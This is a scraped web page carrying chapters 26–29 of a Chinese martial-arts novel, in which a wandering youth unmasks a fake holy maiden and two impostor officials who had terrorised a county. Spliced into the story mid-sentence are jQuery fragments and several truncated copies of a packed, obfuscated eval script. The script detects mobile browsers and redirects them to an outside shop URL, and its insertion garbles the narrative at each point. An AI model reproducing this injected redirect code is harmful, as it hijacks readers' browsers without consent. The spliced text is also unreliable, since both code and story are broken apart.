$(''.inform'').remove(); $(''#content'').append('' 异,她想要躲闪,可已迟了,登时感到半身麻木,劲力顿失,宛如一条在案板上待宰的可口肥鱼。 眼看自己成了瓮中之鳖,没有半分反抗的余地,圣姑索性放弃了无谓的挣扎,一脸怨恨地盯着他,咬牙切齿地问道:“你到底是谁?这样做对你又有什么好处?” 薛矜唇角勾起一抹浅淡的弧度,似嘲又似讽:“我之前不是和你说了么,我是正义的伙伴,这样做是为了替天行道啊。” 圣姑闻言冷笑一声,那张秀美的脸因为恨意变得扭曲狰狞。她瞪大眼睛看着他,声音阴冷如蛇蝎,怨毒如恶鬼:“正义?你居然要替那帮双手沾满鲜血的大恶人伸张正义?真是滑天下之大稽。” 俗话说的好,未经他人苦,莫劝他人善,薛矜懒得和她掰扯那些陈年旧事,话锋一转说道:“我没猜错的话,雾林那片浓雾是你搞出来的吧。我在你屋外的花园发现了一大片曼陀罗花,而这些花就是制作仙人迷必不可少的原材料之一。” 圣姑死死咬住下唇,不说是也不说不是。薛矜将她的神情不动声色地收入眼中,微微勾起唇角,不急不缓地接着说道:“你把这群人困在这里,还要求他们每年献祭一位少年,应该是有两个目的吧。”他用的是陈述句而非疑问句。 眼见对方因为他的话紧张得整个人都绷紧,眼睫毛颤了颤,仿佛受了惊的蝴蝶,他一字一句地说道:“为了让他们也尝一尝你当年的丧子之痛,同时也是为了青春永驻,芳华常在,我猜对了吗?”他说完,那双漆黑的眼瞳紧紧地盯着她,不放过她脸上的任何一丝变化。 圣姑低着头,默不作声,心里却是一阵绝望,脸色顿时黯淡下去。过了好半晌没有动静,就在薛矜以为对方不会回答时,她忽然抬眼看向他,没头没脑地冒出了一句:“你觉得我太狠了么?” 大大出乎她意料的是,眼前的少年冲着她摇了摇手指,唇边勾起没有温度的笑容,用一种冰冷残酷的语气说道:“不,你还不够狠。换做是我,安陆县早就尸横遍野,血流成河了。” 圣姑像是听到了这世上最不可思议的话,难以置信地打量起他来,嘴巴张得大大的,都能塞下一个鸡蛋了。她脸上的表情分明是在说:“那你为什么还要帮他们?” 薛矜从她的表情里读懂了她的意思,叹了口气,无奈地说道:“拿了钱的。”趁她不注意,他将一颗褐色的小药丸弹进了她的嘴里。直到那颗药丸顺着她的喉咙滚到她的肚子里了,圣姑才反应过来对方刚刚做了什么,不停地抠嗓子眼想要吐出来,却是无济于事。 圣姑正使劲想要吐出来,少年冰冷的声音忽然从她头顶响起,不带一丝一毫的感情和温度:“接下来,要么陪我演戏,要么就去死,你选一个。” 听着这番威胁的话语,她漂亮的眼睛里几乎立刻蓄满了水光,脸色苍白如残损的花朵。 这两个选择摆在她的面前,似乎除了第一个选择之外,别无他法。在惨淡的烛火下,她带着畏怯的目光看着少年,只觉他那张冷峻又绮丽的脸,像极了索命的恶鬼。她毫不怀疑,要是自己和少年对着干,下一刻他就会掐住她的脖子一把拧断,就跟捏死一只蚂蚁一样简单。 出于对死亡的恐惧,圣姑作出了让对方满意的选择。 26. 异端 因为劳心劳力了一整天,陆怀袖这一觉睡得很沉,不知过了多久,她从睡梦中醒来,睁眼见到整个屋子昏昏暗暗的没有一点光,还以为自己这一觉直接睡到了晚上。 撩开遮住眼睛的头发,她揉了揉惺忪的睡眼,伸着懒腰下床洗漱,洗漱完毕后就奔着正堂去了。 此时天光虽已大亮,但一大块浓厚的乌云遮住了日头,灰蒙蒙的天空下整个世界都好像褪了颜色,让人感觉有一种说不出来的阴凉。陆怀袖抬头看了看天,一股诡异的感觉在她的心头滋生,让她不由得加快了脚步,往人多的地方走去。 她进屋之后,见其他几人都已来齐,衣冠整齐地围坐在茶桌旁,只是不知为何,他们都是一副忧心忡忡的模样,屋中气氛竟如同前天晚上生离死别时那般压抑。 见他们个个都愁眉苦脸的,陆怀袖微微歪了歪头,眼中的困惑几乎要化成实质,她走上前一步,不明所以地问道:“发生什么事了?你们怎么看上去都一副心事重重的模样?” 李大婶听她这般问,幽幽叹了口气道:“陆小姐有所不知,今早大伙起来,发现城里起了一片大雾,在雾中行走的人都看到了各种可怕的景象,竟如同在雾林一般。要知道以前只有雾林才有雾,不会波及到城内……”说到这里她却不往下说了,面上露出几分担忧之色来。 沉默了片刻,李大叔接着她的话说:“大伙都怀疑是圣姑动怒,才起了这片雾,却不知怎么得罪了她。我们却知道其中缘故,必定是昨晚李代桃僵之事被她老人家知晓,触怒了她,这才降下责罚,祸及百姓。” 陆怀袖闻言微微蹙了蹙眉,心道这只是仙人迷在起作用,并非什么天降刑罚。她刚想要开口解释,在一旁静默许久的薛矜却抢先接过了话头:“你们先别急,就算那位圣姑有心报复,大概率也是冲着我来的,我一人做事一人当,绝不会连累你们的。” 此话一出,全场寂静。在一阵难捱的沉默过后,李平安霍然站起,双手紧握成拳,语气激动地说道:“不!薛大哥是为了我才如此的,我不能再懦弱下去,让你代我受罪了!” 听了他这番言语,李氏夫妻皆点头称是,齐齐面向薛矜,一脸义正言辞地说道:“他说得对。我们再让薛公子背负本不属于你的责任,岂不是连畜生都不如了?” 陆怀袖则不似他们这般情绪激动,她低下头思索着,不知薛矜出于何种目的,才说出那么一番正义凛然的话来。她思忖片刻无果,只得叹息作罢,将目光投向薛矜,直截了当地问道:“接下来你打算怎么办?” 此刻她的心里跟明镜似的,薛矜能平安归来,必定斗败了圣姑。现在对方施放仙人迷,显然是蓄意报复,说不定还会宣扬是他导致了这片浓雾,治他个亵渎神灵的罪名,将他打成异端,借此唆使城中百姓对付他。 正因想通了这一点,她忍不住心生担忧。如果事情真的按照自己所想的发展,圣姑来一招借刀杀人之计,薛矜又该如何应对。她当然清楚那些不会武功的普通老百姓困不住他,怕只怕他一怒之下杀光了所有县城百姓。 将小公主脸上的着急和担忧收入眼中,薛矜单手撑着下巴看着她,一脸无所谓地笑了笑:“没什么打算,兵来将挡水来土掩呗。”他浑身松弛地坐在那里,完全没有危机即将到来的紧迫感。 陆怀袖对此欲言又止,她沉吟了好一会儿,方才拐弯抹角地说出了自己的担忧:“周公恐惧流言日,王莽谦恭未篡时。” 虽然没有明说,薛矜却像是与她心有灵犀一般,听懂了她的弦外之音。他给了她一个安心的眼神,温声劝慰道:“放心吧,真到那个时候,平安无事的也一定是我。” 他的声音像是有魔力一般,让陆怀袖一颗不安的心奇异地就定了下来。她张了张嘴,还想说点什么,只是话刚到嘴边,就因为门外传来的一阵急促敲门声,硬生生咽了下去。 敲门声让四人眉头一蹙,他们下意识看向薛矜所在的位置。感受到落在自己身上的担忧目光,薛矜一脸淡定地说道:“不妨开门看看,到底来的是什么人。” 李氏夫妻犹豫了一会,还是点了点头,快步走过去开了门,却见马县令带着向来和他形影不离的张师爷,以及一堆虎背熊腰的衙役大驾光临,样子像是要跟人打架似的。他们愣了好一会儿,反应过来后立刻就要跪下行礼,但马县令抬手止住了他们,瞪着他那双三角眼,厉声质问道:“你们这是不是住进了一个姓薛的小子?” 两口子闻言皆是心中咯噔一跳,对视了一眼,都从彼此的眼中看到了几分不知所措的惊惶。他们面露难色,紧抿着唇没有回话,直到马县令脸上露出了不耐烦的神色,才支支吾吾地回答道:“确有其人,只是不知大人找他所为何事?” 就在这时,马县令旁边那位个子矮小长得贼眉鼠眼的张师爷上前一步说道:“有何事?他摊上大事了!你们心里清楚得很,他昨夜冒充你们儿子去当祭品糊弄圣姑,冲撞了她老人家,这才施法起了这场大雾,以此惩罚不守信用的你们。今早神婆向官府转达了圣姑的旨意,若不用他的命祭拜圣姑,这片雾就会一直存在。所以我们现在要做的就是将他押走,再在明天当着全城百姓的面,公开处决他。” 这番话,吓得两口子浑身一哆嗦,面无人色。李大叔虽然害怕,但还是鼓起勇气,毅然决然地说道:“他是为了帮我们才挺身而出去当祭品的,并非有意欺瞒圣姑。事出有因,你们要抓的话就抓小老儿我吧。” 听到丈夫的话,李大婶也勇敢地站了出来,昂首挺胸地说道:“一个不够的话,就再加上我吧。” “你们想去送死,圣姑还瞧不上呢。”马县令用看蝼蚁一样的目光看着两口子,语气不善地说道,“速速将那小子叫出来!不然本官把你们一家子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273373|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统统关进大牢!” 屋里的薛陆二人将屋外的动静听得一清二楚,少女急得是团团转,少年却跟没事人似的,伸手拂了拂衣裳,随后大摇大摆地走出了屋子。陆怀袖眼神有些复杂地看了他一眼,过了一会她叹了一口气,紧跟其后出了屋门。 马县令正在和夫妻俩掰扯,脸色越发的不耐烦,他作威作福惯了,正打算直接冲进去搜捕,忽见门口走出一位眉眼含笑的绯衣少年,俨然就是那天握住他鞭子,让他在大庭广众之下丢了面子的那个臭小鬼。 他本想事后报复一番,奈何师出无名,而且对方实力高深莫测,贸然行动只会害了自己。今早他听闻神婆指名道姓要少年死,自觉是个报仇的好机会,带着一队人马风风火火赶到了这里,想要借此除去这个眼中钉肉中刺,以解自己心头之恨。 若他不配合,自己就拿李家一家子的性命相要挟,不怕他不从。 马县令打了一手好算盘,清了清嗓子,扬声说道:“你可听到我们刚才的对话了,你欺瞒圣姑犯下死罪,她老人家要你偿命,才肯撤去迷雾,现在你就跟我们走一趟吧。” 他的话音刚一落地,陆怀袖身体先于大脑一步行动,直接挡在薛矜身前,一副老鹰护小鸡的模样。她一句话都没说,但脸上的神情明明白白写着自己绝不会让步。 马县令打量的目光在这对年龄相仿,样貌相当的少年少女身上来回逡巡,满是意味深长。 薛矜完全无视了他的目光,若有所思地看了他旁边的张师爷一眼,那一眼凉飕飕的,让对方禁不住打了个寒颤。片刻后,他不着痕迹地挪开视线,点头微笑道:“好啊,那我就跟你们走一趟。” 话音刚落,他伸手轻轻拍了拍陆怀袖的肩膀,对方茫然地转过头来,与他四目相对的那一刻,他用嘴型无声地说道:“放心吧,我不会有事的,你安心在这儿呆着。”自信满满地说完后,他便从她身后走出。 他有如闲庭闲步,从容而行,在距离马县令三步之遥的地方站定,一脸淡定地看向那个想置他于死地的人,不疾不徐地说道:“我们快走吧,耽误了时辰可就不好了。”他的语气平静,就好像只是在说一件再普通不过的小事,而非自己的生死。 没想到对方竟然会这么配合,马县令和张师爷面面相觑,一时之间都有些怔愣。他们还以为要大动干戈一番,才能将这少年高手抓进大牢,为此他们特地带上了二十个精干的衙役,以备不时之需。不过对方这么识时务,倒是省了他们一番功夫。两人很是高兴,但面上并未显露,拿腔作调了好一番,随后一声令下,他们身后的几个衙役迅速上前押住了少年。 等马县令并张师爷一行人离开,院子里顿时空落落的,看起来有些冷清。 陆怀袖愣愣地望着他们离去的方向,过了好一会儿才收回视线,感受着残存在自己肩上的温度,怅然若失。 27. 审判 次日天气晴好,可却不是一个好日子。午时未到,安陆县城郊的一片空地上,城里所有的百姓都聚集在了这里,等待着最后时刻的到来,处决掉那个胆敢冒犯圣姑的无知少年,用他的命换取全县的平安。 自从少年被抓之后,那片迷雾果然就散去了,他们更加坚信了马县令的说辞,少年就是造成这一切的罪魁祸首,对于将他当众处决这件事,他们心中非但没有一丝一毫的愧疚,反而认为这是理所应当的事情。 此处是一片开阔地,一座高一丈五,宽一丈的木制高台平地而起。薛矜就被反手绑在这高台的柱子上,下面还堆着许多易燃的干柴,四周围满了手里高高举着火把的百姓。火光映照着众人的脸,他们眼底的兴奋清晰可见,全然忘了前不久少年还帮一个妇人找到了她的儿子,做了一件大好事,此刻他们只记得对方触怒了圣姑,直接殃及了他们这一帮小鱼苗。 巨大的愤怒,需要平息,而代价,就是少年的性命。 耳边充斥着一片“烧死那个祸害”、“烧死他烧死他”、“烧死他我们就得救了”的嘈杂之音,陆怀袖死死咬住下唇,双手紧握成拳,秀气的眉头都快拧成一团了。饶是她脾气再好,此刻也忍不住想要把他们按在地上锤了。 这群人果然中了圣姑的借刀杀人之计,被人当成靶子使唤,浑然不知真正导致了他们不幸的罪魁祸首是谁。 她越想越不忿,只觉心中一股怒火不知该如何发泄,忍不住看向旁边同样眉头紧蹙的李大婶,从牙缝里挤出一句话来:“他们真是不明是非,不分青红皂白,只听上位者的一面之词,就要对一个无辜的过路人赶尽杀绝。” 李大婶离少女最近,自然是听得见对方这番言论。她先是环顾了一下四周,确定没有人注意自己后,用只有两人才能听到的声音说道:“这群高举火把的人,有些是真的想让你义兄死,有些是迫不得已,还有些只是装装样子,毕竟说话不需要成本,动动嘴皮子谁不会,还不用担心收到报复,但要是和老爷对着干,可就真的有性命之忧了。他们本质上不过是欺软怕硬罢了。” 不是所有人都敢反对自己的主子,但是所有人都敢欺软怕硬。 陆怀袖也不是不懂这个道理,可她听着充斥在自己耳边的谩骂之声,还是忍不住大动肝火。但她现在什么也做不了,只能选择相信薛矜。既然他说自己不会有事,那就真的不会有事,没有全然的把握,少年不会夸下海口。 台下如一锅炸开的沸水般闹腾,台上的薛矜却不动如山,甚至还寻了个舒服的姿势微微闭上眼睛,泰然自若的模样根本就不像是一个即将被活活烧死的人,面对无礼的谩骂也只是听而不闻。老实说,他是可以把这群人杀得一个都不剩的,但他们的存在对他来说并无价值,把他们灭了也没有。他是个唯利是图的小人,不干无利可图的事情。 神婆和县令是这场审判的主事人,他们站在众人跟前,一举一动都关系到全局,决定了事情的走向。马县令想到自己就要亲眼见证少年的死亡,丝毫不掩饰自己那副大仇得报的得意相。而他旁边的神婆依旧穿着一身黑,浑身上下包裹得严严实实,连面容也被幕离所覆,没人能看出她的情绪。 尽管身处险境,即将被执行火刑,薛矜仍是一副泰山崩于前而面不改色的样子,双眸冷静地盯着底下那些叫嚣着想要烧死自己的人群,忽然毫无预兆地开口说道:“难道你们不想知道我在圣姑庙看到了什么吗?”他这一句话带着内力,声音远远传出,久而不衰。 在场众人都听得十分真切,登时安静了下来,全场瞬间鸦雀无声,落针可闻。他们将目光齐刷刷投向台上的少年,眼角眉梢都流露出毫不掩饰的好奇之色,心里像猫抓一样。 安陆县里的一众百姓说不想知道是假的,毕竟十年来没有一个被当作祭品献上去的少年能活着从圣姑庙里出来,而薛矜不但活着走了出来,还成功糊弄了圣姑,当真是令人匪夷所思。 马县令见众人都被他勾起了好奇心,心中猛地咯噔了一下,脸上不由得露出几分惶急之色,不过旋即又恢复如初。他那双三角眼宛如毒蛇,死死地盯住高台上的少年,厉声喝道:“哼!兀那小儿,你少花言巧语妖言惑众!你就算是说出一朵花来,今天也难逃一死!” 薛矜闻言嗤之以鼻,垂眸看向他,唇角勾起一抹嘲讽的弧度。过得片刻,他哼笑一声,故意放大声音拖着长腔慢悠悠地说道:“花言巧语妖言惑众是你才对吧?县令大人。” 听他这般说,马县令脸上闪过一丝慌乱,随即又强自镇定下来,梗着脖子说道:“我身为一方父母官,一直把自己的利益放到最后一位,一直真心诚意的为百姓谋福利,怎会做出此等龌龊之事?你小子少在这里胡说八道!” 无数道目光的注视之下,少年不以为然地笑了笑,意有所指地说道:“怎么不会?你不千方百计的给他们弄只恶鬼出来,他们不就发现真正的恶鬼是谁了么?”说完,他微微侧过头看向一旁从头到尾都被包裹得严丝合缝,根本看不到长相的神婆,一字一句,咬字清晰地说道:“请问我说的对吗?圣姑大人。” 底下众人顺着薛矜的目光看向神婆,以为自己的耳朵出了问题,不敢相信自己刚才听到的话。那个少年居然称神婆为圣姑,天底下还有比这更荒谬的事么? 陆怀袖闻言也有些意外,一时不能把传闻中年轻貌美的圣姑和那个嗓音沙哑阴森的神婆联系在一起。 在众人一头雾水的注视下,薛矜又再度开口道:“圣姑大人,快把事情的真相告诉这些被你们骗了十年的百姓吧。”他语调拖长,尾音上扬,面上一副看好戏的样子。 被他点名,神婆顿时感到无数道灼热的视线向她投来,仿佛要把她烧出一个洞来似的。她的身体颤了颤,藏在宽大袍袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奇诡的音波在空气中一圈圈荡漾开来,其他人都跟没事人一样,唯独神婆好像听到了什么来自地狱的声音一样,满脸痛苦的用掌心捂住双耳,可还是无济于事,肚中像是有千万把小刀在绞着,豆大的汗珠从她额头上流了下来。 惨叫声接二连三地响起,划破了长空,惊起无数纷飞的鸟儿。它们扑棱棱的从树上一齐飞起,又不知落往何处。 众人全然忘了今日来此的目的为何,一个个呆若木鸡,直愣愣地看着她痛得在地上打滚,却无一人上前去搀扶。 高台之上,少年依旧盘膝吹着长箫,音波如浪潮般滚滚而至。 高台之下,神婆头上的幕离在滚动中掉落,露出底下的真实面容来。 众人定睛看去,皆是瞪大双眼,震惊不已——他们心中年逾六旬的神婆,居然是个看不起不过二十岁出头的年轻女子。 28. 真相 见神婆露出幕离之下的真容,薛矜这才放下长箫,停止吹奏。箫声一停,神婆身体上的疼痛竟然渐渐消失不见,她如同被抛上岸的鱼儿一般大口大口的喘息着,新鲜空气灌入她的肺中,让她慢慢地意识回笼,感受自己还活着。 薛矜也不急着发问,手中长箫滴溜溜在掌中旋转,等对方因为疼痛而失去血色的脸颊渐渐恢复过来,他才微微抬起下巴说道:“现在能把真相说出来了么?” 神婆闻言心头一紧,两瓣樱色的嘴唇抿成了一条直线。她心中虽恨极少年,但终究是不敢跟他对着干,只得藏匿住心绪,近乎麻木地点了点头:“你说得没错,其实雾林那片雾只是一个骗局,我们诓骗了此地百姓整整十年。” 此言一出,宛如平地的一声落雷,轰击在了场间所有人心头。原本十分安静的人群顿时沸腾起来,各种言论如同雨后春笋般此起彼伏,层出不穷。 马县令一听,脸色顿时大变,如果不是现在正处于大庭广众之下,他当即就要拔出刀来,斩下那个女人的头颅,让她那张讨人厌的嘴永远闭上。无可奈何之下,他只得疯狂给对方使眼色,让她不该说的话不要乱说。 可惜神婆丝毫不为所动,完全无视了他几次抛来的眼色,自顾自地继续说下去:“这场雾是药物所致,这种药能让人看到各种可怕的幻象,所以你们才会在雾里看到各种怪异景象。我数十年如一日地施放此药,为的就是将你们困在这里出不去。”说到这里,却是住了口,不再往下说了。 薛矜假装好奇地问道:“那你要此地百姓每年上供一名少年,这又是怎么一回事?” 神婆眉头紧蹙,像是在纠结一个极难回答的问题。过了好半晌没有动静,就在众人以为她不会回答这个问题的时候,她双手紧紧揪着衣摆,万般不情愿地答疑解惑道:“那是因为我在修炼回春术,只需月圆之夜吸吮年少男子的血液,然后打坐修炼,便可消解衰老之气,恢复青春美貌。正因此,我才命令你们每年上供一名少年,用他们的血让我返老还童。事实上,我今年已经六十有二了。” 她这番话将持续了十年的阴谋戳破,引得众人同仇敌忾,群情激愤。所有人都满脸怒意,此时空气中弥漫着浓郁的火药味。在场众人一时间皆对她怒目而视,有人连珠炮似的发问道:“这样做,对你来说有什么好处?我们这些人又对不起你什么了?” 神婆听罢,垂首喃喃着,忽然仰天大笑,状似癫狂。她的笑声是那样刺耳尖利,充斥着一股浓厚得几乎凝成实质的怨气,使得在场每一个人如坠云里雾里,不知所以。等笑够了之后,她冷冷地勾起嘴角,鄙夷地说道:“你们现在所受的苦难,都是你们应得的。” 无视想要将自己当场打死的众人,她继续说了下去:“其实有一点我没骗你们,圣姑是真的,她真的回来复仇了,她就是我。当年的我大难不死,孩子却没了。天可怜见,我好不容易逃了出去,还被一个苗疆老婆婆收为仆从,费了许多年,才把她的本事都学会了。” 众人将她说的这番话一字不落地听在了耳中,眸光复杂之余,也陷入了深深的沉默。有些活得特别久的老人,将她从头到脚打量了一番,已然认出了她就是当年那位外地女子,万千言语都化作了一声长叹。 顿了顿,神婆复又继续说道:“我修得一身异术后,一转眼已经过去了三十年。我始终忘不了害了我一生的你们,一直怀恨在心想要报复,却不知该如何做。机缘巧合之下我结识了马县令和张师爷,我们仨一拍即合,想出了这个法子,将你们困在这,他们可以肆意奴役你们,而我得以报仇雪恨。我们各取所需,彼此合作,共同设下了这个骗局。” 她说到这里,在场所有人不约而同地朝马县令看去。马县令脸上青一阵红一阵,似乎神婆所说,句句戳到了他的肺管子。强自镇定下来,他的目光如刀锋,一寸一寸划过神婆的脸,拔高了声音说道:“你这妇人少胡说八道了!我们可没和你做这些见不得人的勾当!” 神婆抬眸看了眼他,唇角勾起一抹讽刺的笑容,索性把事情的真相,一股脑抖出来:“县令大人不仅和我同流合污了,而且这官位也来路不正。当年你和你身旁的那位张师爷半路截杀了真正的马县令,然后冒名顶替他的身份去做官。为了躲避朝廷,安心在这里做土皇帝,你二人想方设法困住了里面的百姓,我也只不过是你们的帮凶罢了。” 她这番话,再度在人群中引起轩然大波,李大叔忽然想起来什么似的,大声说道:“我全都记起来了!这两人就是十年前合伙杀掉了林家五十口的江洋大盗,当年我使尽了各种手段也抓不到人,谁曾想是躲到这里当官老爷了!” 他因为这件灭门惨案被罢去官职,多年努力付诸东流,无奈之下只得搬到这里,定居下来,却对当年之事一直耿耿于怀,恨不得将那两个江洋大盗千刀万剐,连带着对他们通缉令上的画像都记忆犹新。这十年来他虽和这两个贼人生活在一处,到底身份悬殊,难得见上几面,这会儿听神婆指证,细细端详一番,竟认出对方就是自己的仇人。 事情的走向大大超出了所有人的预料,众人皆是目瞪口呆,谁也没料到,这马县令和张师爷不但是冒名顶替的假官,而且还曾犯下累累罪行,双手沾满了鲜血。 陆怀袖也是被这一串真相砸得晕头转向,她看向身旁一脸义愤填膺的李大婶,张了张嘴正想说点什么,一把匕首唰的一下横在了她的脖子前,刀身在阳光下显得冷光冽冽,寒意森森。 马县令不愧是曾经名震一时的江洋大盗,虽然在此地胡吃海喝十年,但是身手一点也没落下,只见他电光火石之间从靴子中抽出一把匕首,如同蛰伏在暗处的猛兽,找准时机便扑了上去,一击即中。 这一变故发生得太过突然,令在场所有人都措手不及,有些人甚至都没有反应过来,觉得是自己的幻觉。 马县令自然不是随便找个人当人质的,这个小妞和那个少年看起来关系匪浅,而少年无疑是这群人中最厉害的,将她的性命掌握在手中,也许对方就投鼠忌器不敢轻举妄动了。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人见他手持利刃,皆是害怕避让,谁曾想不过眨眼之间,他就和他的大哥一样倒地不起,再无动弹。 台上的薛矜将视线投向台下的两具尸首,墨色的眼睛里闪过了什么,快到让人看不清。 他坐在那里纹丝不动,两人就这么“轰”的一声,仰面倒在了地上。众人见状,皆是不敢置信地睁大双眼。众目睽睽之下,薛矜微笑道:“罪人已经伏诛,那片雾过不了多久便会自行散去,你们也就能自由出入了。”说到此处,他顿了一下,又意味深长地补充道:“你们当年这样排外,结果被困在此地十年,上天无路入地无门,也算得上是自食苦果了。” 安陆县一众百姓听到他这么说,思及自己当年做过的事,以及如今得到的报应,心中不由得感叹,善恶到头终有报,不是不报,时候未到。 处理完这档子事后,薛矜抬手摸了摸肚子,自言自语道:“忙活了一宿,有点饿了,待会我要好好吃一顿。”他说着从台上飘然落下,平稳落地,身形微闪,便如鬼魅一般,迅速消失在原地。 少年从高台上坠下却安然无恙,又凭空消失在众人眼前,百姓们皆以为他是神仙下凡,扑通扑通都跪了下来,还不停砰砰磕着头,为自己之前的愚昧懊悔万分。 李家两口子亲眼目睹这等不可思议的场景,心中也甚是震撼,他们不约而同的用眼神询问陆怀袖,你义兄难不成真的是神仙? 陆怀袖抬手摸了摸自己脖颈上的那道血痕,冲着他们摇了摇头,心中暗道,世上可没有这样黑心的神仙。 29. 庆功 今早发生了那档子事后,马县令和张师爷的尸体被扔在乱葬岗,任由野狗分食殆尽。神婆则被关押在牢里听候审判,她先前藏在地窖里的九具尸首也被带上来,由各自的父母领走。他们眼见自家小儿那副白发苍苍满脸皱纹的衰老模样,浑不似朝气蓬勃的少年郎,无一不是捶胸顿足、伤心不已,最后还是强忍悲伤,将他们好生安葬。 总之,一切都在朝着好的方向发展,大雾终将散去,阳光即将重现。 为了庆祝罪恶伏诛,李家人特地为薛陆二人举办了庆功宴。李平安早早回来亲自下厨,李氏夫妻就在一旁帮忙打下手,做了一大桌子饭菜,虽然都是简简单单的家常菜,但无论是切菜、调料还是火候,都拿捏得非常到位。 当天晚上,李长安将菜肴一碟又一碟地端上桌,庆功宴便已算正式开始了。 等菜上齐了,陆怀袖在李家人期待的目光下,拿起筷子夹了只虾,剥完虾皮,塞进了自己嘴里,竟然意外的味道还不错。吃完嘴里的虾,她意犹未尽地舔了舔唇,朝李平安竖起了大拇指,引得少年不好意思地挠了挠头。 她没想到对方的厨艺居然还挺好的,虽然比不上薛矜,但也算是拿的出手了。她一边大快朵颐一边感叹,会做饭的男人都是好男人。 宴席上,薛矜的碗里已经堆得跟个小山似的,李大叔和李大婶还在拿公筷不停的给他添菜,一会给他夹一只虾,一会给他夹一块鱼,那一对筷子从未使得这般熟练过。他从未碰到过这样的场面,现在只感觉一个头两个大,不知该如何开口拒绝,只得向旁边吃得正欢的陆怀袖投去求助的目光,软软的撒娇道:“袖袖。” 奈何陆怀袖是个没眼力见的,非但没有救他于水火的意思,反而火上浇油地说道:“他们也是一片好心,你这么瘦,都是骨头,就多吃一点嘛,念之哥哥。”话说到最后,她的尾音上扬,满是快活的揶揄。 听着那一声情真意切的念之哥哥,薛矜的嘴角不由自主地抽搐了一下,只觉得一阵恶寒,全身都起了鸡皮疙瘩。他下意识抖了抖身上的鸡皮疙瘩,面无表情地感叹道,自作孽,不可活呀。 吃完这顿丰盛的晚餐后,李大叔像是忽然想起什么似的“啊”了一声,提议道:“薛公子可喝得酒?老朽这儿珍藏了一坛几十年的美酒,待会就拿出来待客,咱们今天就来个一醉方休!” 薛矜正躺在椅子上摸着自己吃撑的肚皮,闻言果断拒绝:“多谢您的款待,但我不喝酒。”见李大叔脸上露出失望的表情,他语气稍微顿了顿又继续说道:“不过你们这里有羊奶么,我喜欢喝,如果能加一些蜂蜜就更好了。” 随着他的话音落下,两口子迅速交换了一个眼神,李大婶霍地站起身来,忙不迭点头说道:“有有有,当然有,你稍等片刻,我马上就给你弄。”说完她又转头看向陆怀袖,眉开眼笑地问道:“陆小姐也要来一碗么?” 陆怀袖无可无不可地点了点头,冲她礼貌一笑道:“麻烦您了。” 在等羊奶上来的期间,她以手托腮,偷偷地用眼角余光瞥向薛矜,越看越觉得对方像只小狐狸,她一边偷看一边漫无边际地想着,对方喝不了酒,难道是怕喝醉了自己的狐狸尾巴会露出来么? 这个念头刚刚冒出来,就被小公主轻轻晃了晃脑袋甩了出去,她心中不由得暗自好笑,瞧自己在瞎想些什么呢。 不一会儿,李大婶轻手轻脚地端着木质托盘进来,将两碗羊奶分别递到了薛陆二人跟前。 陆怀袖端起还冒着热气的羊奶轻轻啜上一口,入口细腻,口感香醇,回味也是香香甜甜的。将这碗加了蜂蜜的羊奶咕噜咕噜地一饮而下,小公主一双杏眼弯成了初一的月牙,眼里亮晶晶的,挂着明晃晃的开心。 * 庆功宴结束以后,陆怀袖美美的睡了一觉,这一觉睡的格外的香甜。 次日清晨,还在睡梦中的小公主莫名感觉到了鼻子有些痒痒的,忍不住打了个喷嚏,从睡梦中醒过来。她刚一睁开惺忪睡眼,便见绯衣少年坐在她的床边,微微弯着腰,正用她的一缕发尾扫着她的鼻端,近在咫尺的俊容将她的睡意全部打消。 见小公主终于醒过来,他松开捻着她长发的手,直起腰来,一本正经地说道:“陆小姐快起来,我们该走了。”他表现得出奇的平静,好像刚才什么事情都没有发生一样。 陆怀袖刚醒来的脑子还有些不清醒,眨了眨眼睛,好一会儿才明白他在说什么,不可置信地问道:“就现在么?” 薛矜垂眸看向她,直把对方看得有些不自在,才扯了扯嘴角,皮笑肉不笑地提醒道:“没错。我们已经在这里耽误太久了,你可别乐不思蜀,忘记了此行的目的。” 陆怀袖是这几天来第一次听他提到这事,想到自己不得不背负的责任,昨夜积攒的好心情全没了。她抬起头来,闷闷地应了一声:“知道了。”之后便不情不愿地掀开被子下床洗漱,全程耷拉着脑袋,行动缓慢,看上去就像是一个七老八十的老太婆。 快速收拾好行李,两人偷偷摸摸的出了门,全程蹑手蹑脚的,并没有惊动任何人。陆怀袖在临走之前还特地留下了一张字条,感谢夫妻俩这些天对他们的照顾。 此时天刚蒙蒙亮,雄鸡尚未报晓,街上静悄悄的,连个鬼影子都没有,更别说什么人了。 陆怀袖抬头看了一眼天色,小声抱怨道:“为什么要走的这么急呢?你好多土特产都没有带,比如腊肉什么的。” 昨晚两口子看薛矜多夹了几筷子蒜苗炒腊肉,当即大手一挥,豪横地送了他十条腊肉,实在是热情到让人招架不住。 她不提这事还好,一提起来,薛矜的眼角都不自觉在抽搐。他侧过头来,盯着自己的雇主,幽幽地说道:“带了的话你拿着?” 陆怀袖听闻此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 